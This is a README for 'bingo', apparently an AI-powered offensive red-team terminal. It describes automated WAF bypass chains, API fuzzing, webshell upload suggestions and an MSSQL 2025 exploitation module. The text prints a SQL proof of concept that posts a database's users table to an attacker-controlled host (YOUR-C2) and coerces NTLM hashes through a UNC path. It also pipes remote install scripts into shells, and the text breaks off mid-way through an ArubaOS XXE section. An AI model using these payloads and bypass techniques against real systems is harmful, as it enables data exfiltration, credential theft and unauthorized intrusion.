# bingo
**AI-Powered Red Team Terminal**
[](https://github.com/bingook/bingo/releases)
[](https://python.org)
[](LICENSE)
[](https://github.com/bingook/bingo)
[](https://github.com/bingook/bingo)
*DeepSeek · Claude · GPT · GLM · Qwen · Ollama · Custom*
## What is bingo?
bingo is a hacker-style AI terminal that automates real penetration testing workflows. You type a target URL, and bingo runs a full red team pipeline — WAF detection, vulnerability scanning, SQL injection, file upload exploitation, IDOR enumeration, hash cracking, and auto-generated reports — all powered by the AI model of your choice.
**Zero-Hallucination System** (new in v2.1): Every finding is labeled with an evidence level (`VERIFIED` / `LIKELY` / `INFERRED`). Nothing is discarded — unverified results are flagged separately rather than silently dropped.
## Installation
### Option A — pip (Recommended, all platforms)
The easiest way. Works on macOS, Windows, and Linux.
pip install bingo-ai
Then run:
bingo
To update later:
bingo --update
# or
pip install --upgrade bingo-ai
### Option B — git clone (macOS / Linux)
curl -fsSL https://raw.githubusercontent.com/bingook/bingo/main/install.sh | bash
Or clone manually:
git clone https://github.com/bingook/bingo.git
cd bingo
bash install.sh
To update later:
bingo --update
# or
cd bingo && git pull origin main
### Windows
**Option 1 — Auto-install (recommended):**
irm https://raw.githubusercontent.com/bingook/bingo/main/install.ps1 | iex
**Option 2 — If execution policy error:**
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force
irm https://raw.githubusercontent.com/bingook/bingo/main/install.ps1 | iex
**Option 3 — Manual install (most reliable):**
git clone https://github.com/bingook/bingo.git $env:USERPROFILE\bingo
cd $env:USERPROFILE\bingo
python -m pip install -e .
python -m bingo
**Option 4 — Without git:**
Invoke-WebRequest "https://github.com/bingook/bingo/archive/main.zip" -OutFile "$env:TEMP\bingo.zip" -UseBasicParsing
Expand-Archive "$env:TEMP\bingo.zip" "$env:USERPROFILE" -Force
Rename-Item "$env:USERPROFILE\bingo-main" "$env:USERPROFILE\bingo"
cd "$env:USERPROFILE\bingo"
python -m pip install -e .
python -m bingo
## Quick Start
bingo # Launch interactive terminal
bingo scan https://target.com # Full automated red team scan
bingo --version # Show version
bingo --reset # Reset configuration
On first launch: **select language → enter AI model API key → start hacking**.
## Core Features
### Zero-Hallucination System (v2.1)
Every finding produced by bingo is assigned an evidence level:
| Level | Meaning | Report placement |
|-------|---------|-----------------|
| `✅ VERIFIED` | HTTP response confirmed (status code + URL + curl) | Main vulnerability list |
| `🟡 LIKELY` | Partial evidence (response pattern + URL) | Main list with annotation |
| `🔍 INFERRED` | No direct proof — reasoning-based | "Needs Investigation" section |
| `🤖 AI_ANALYSIS` | AI analysis text | Separate AI section |
**No finding is ever discarded.** Unverified results are clearly labeled and placed in a dedicated section so you can manually verify them — not silently dropped.
### Automated WAF Detection & Bypass
When a target URL is mentioned in chat, bingo automatically:
1. Detects WAF type from HTTP headers and response patterns
2. Identifies the WAF vendor (Cloudflare, AWS WAF, ModSecurity, Nginx/OpenResty, etc.)
3. **AI selects the optimal bypass technique automatically** based on WAF type
4. Executes all steps as real Python scripts — no external tool required
| WAF | Detection Method |
|-----|-----------------|
| Cloudflare | `cf-ray` header, block page signature |
| AWS WAF | `x-amzn-requestid` header, 403 pattern |
| ModSecurity | Server header, error page content |
| Nginx/OpenResty | 406 Not Acceptable, server banner |
| Sucuri / Akamai / F5 BIG-IP | Body pattern + status code |
| Chinese WAF (Safe3 / D盾 / 云锁) | Body keyword matching |
#### Advanced WAF Bypass Techniques (v2.2.0+)
bingo now includes a **6-layer advanced bypass engine** that AI activates automatically when basic techniques fail:
| Layer | Technique | When Used |
|-------|-----------|-----------|
| **SQL Function Replacement** | `IF(a,b,c)` → `CASE WHEN a THEN b ELSE c END` | WAF blocks `IF` keyword |
| **Timing via Heavy Subquery** | `SLEEP(n)` → `information_schema` cross-join | WAF blocks `SLEEP` / `BENCHMARK` |
| **GREATEST/LEAST** | Replace `=` comparison with `GREATEST(a,b)=b` | WAF detects equality operators |
| **Logical Operator Alt** | `AND` → `&&`, `OR` → `\|\|` | WAF blocks literal `AND`/`OR` |
| **Unicode / Overlong UTF-8** | `'` → `\uff07`, `/` → `%c0%af`, NULL byte injection | Legacy / regex-based WAF |
| **HTTP Chunked Transfer** | POST body split into 3–7 byte chunks | WAF without body reassembly |
##### AI Auto-Selection Logic
bingo's AI reads the WAF type and automatically picks the right bypass order:
Cloudflare → double URL encoding → unicode → ua spoofing → function replace
Nginx/OpenResty → %0a newline → /**/ comment → keyword obfuscation
ModSecurity → space/**/ → IF→CASE WHEN → mixed case → encoding
AWS WAF → encoding → SLEEP→subquery → XFF header → space
Chinese WAF → null byte unicode → overlong UTF-8 → function replace
Generic → space → keyword → header spoof → encoding → function
When all single techniques fail, bingo automatically tries **3-layer combinations**:
1. `function_replace + space + XFF header`
2. `unicode encoding + function_replace`
3. HTTP Chunked POST (last resort)
##### Anti-IP-Ban Strategy
bingo applies random delays (`1.0–3.5s`) between requests to avoid triggering WAF/IPS rate-limit bans. This is applied automatically during all WAF bypass attempts.
### Interactive Post-Report Actions (v2.1)
After every report is generated, bingo presents **3–5 numbered next steps**:
╭─ Report saved: targets/report_example.com.md ─╮
│ What to do next? │
╰────────────────────────────────────────────────╯
# Next Options
─────────────────────────────────────────────
1 Run IDOR scan on /api/user?id= endpoints
2 Attempt IDOR-based password reset
3 Upload GIF polyglot webshell via /upload
4 Deep SQLi on login form with sqlmap flags
5 Check for exposed phpinfo() or .env files
▶ Enter number + Enter (0 = exit, other = type freely)
> _
Enter a number to continue automatically — no need to think about what to do next.
### API Discovery & AI-Powered Fuzzing (v2.1)
Inspired by Brutecat's research ("Hacking Google with AI for $500,000"), bingo automatically discovers API documentation and fuzzes every endpoint using AI-guided parameter testing.
**Step 1 — Auto-discover API docs:**
bingo probes 30+ common paths to find machine-readable API specifications:
| Doc type | Paths probed |
|----------|-------------|
| OpenAPI / Swagger | `/swagger.json`, `/openapi.json`, `/v1/api-docs`, `/v3/api-docs`, ... |
| Google Discovery | `/$discovery/rest`, `/discovery/v1/apis` |
| GraphQL | `/graphql`, `/graphiql`, `/api/graphql` |
| WordPress | `/wp-json` |
| Spring Boot | `/actuator/mappings` |
**Step 2 — AI auto-fuzzes every endpoint:**
Once endpoints are found, bingo tests them automatically:
- **Unauthenticated access** — calls every API with no cookies or tokens; `200 OK` = confirmed bypass
- **Parameter fuzzing** — injects IDOR, SQLi, SSTI, and path traversal payloads into query parameters
- **Sensitive keyword detection** — flags responses containing `password`, `token`, `traceback`, SQL error messages, etc.
- **500 error detection** — server errors triggered by payloads indicate possible injection points
**Evidence labeling:**
VERIFIED = real HTTP 200 response with sensitive data confirmed
LIKELY = suspicious response pattern (500 error, auth keyword)
INFERRED = structural pattern match only
**AI auto-trigger conditions:**
- Always runs (low cost, high discovery value)
- Escalates to fuzzing only when endpoints are actually found
### MSSQL 2025 AI Feature Exploitation (v2.1)
SQL Server 2025 introduced native AI capabilities that create entirely new attack surfaces. bingo automatically detects these conditions and generates exploitation PoCs when all three prerequisites are met.
**AI auto-trigger conditions (all three must be confirmed):**
| Condition | How bingo checks |
|-----------|-----------------|
| Target runs SQL Server 2025 | `@@version` injection or version string in error response |
| SQL injection allows stacked queries | `WAITFOR DELAY '0:0:3'` — response delay ≥ 2.5 s = confirmed |
| DB account has elevated privileges | `IS_SRVROLEMEMBER('sysadmin')` time-based check |
If any condition is not met, the module is automatically skipped — no false positives, no impact on other DB engines (MySQL, PostgreSQL, Oracle).
**Exploitation techniques (PoC generation only — not auto-executed):**
| Technique | Attack primitive | Impact |
|-----------|-----------------|--------|
| `sp_invoke_external_rest_endpoint` | POST entire DB tables to attacker server | Full data exfiltration (up to 100 MB) |
| `CREATE EXTERNAL MODEL` (UNC path) | Load model from `\\attacker-ip\share` → NTLM coercion | Admin password hash capture |
| `AI_GENERATE_EMBEDDINGS` (UNC path) | Same UNC trick via embedding model | Covert C2 channel / NTLM relay |
**Generated PoC example:**
-- Enable REST endpoint
EXEC sp_configure 'external rest endpoint enabled', 1; RECONFIGURE;
-- Exfiltrate users table to attacker server
DECLARE @p NVARCHAR(MAX);
SELECT @p = (SELECT * FROM dbo.users FOR JSON AUTO);
EXEC sp_invoke_external_rest_endpoint
@url = N'https://YOUR-C2/collect',
@method = 'POST',
@payload = @p;
-- NTLM hash coercion via external model
CREATE EXTERNAL MODEL ntlm_bait WITH (
LOCATION = '\\YOUR-ATTACKER-IP\share',
API_FORMAT = 'ONNX Runtime',
MODEL_TYPE = EMBEDDINGS,
MODEL = 'capture'
);
**Evidence labeling:**
VERIFIED = WAITFOR DELAY confirmed stacked query + version string confirmed
LIKELY = MSSQL error detected but version unconfirmed
INFERRED = MSSQL fingerprint only, stacked queries not tested
**Remediation (auto-included in report):**
1. `EXEC sp_configure 'external rest endpoint enabled', 0; RECONFIGURE;`
2. Block outbound connections from the SQL Server host at the firewall
3. Remove `sysadmin` privilege from the application DB account
4. Apply SQL injection patch (Parameterized Query)
### ArubaOS Pre-Auth XXE → OOB SSRF (v2.1)
HPE Aruba ArubaOS 8.13.2.0 and earlier expose an **unauthenticated XML management API on port 32000/TCP**. The API processes XML `SYSTEM` entities without authentication, allowing a pre-auth attacker to force the controller to make arbitrary outbound HTTP requests (OOB SSRF) and scan internal network services.
**AI auto-trigger conditions:**
| Condition | How bingo checks |
|-----------|-----------------|
| Port 32000/TCP open | TCP socket connect (3 s timeout) |
| ArubaOS XML API banner | `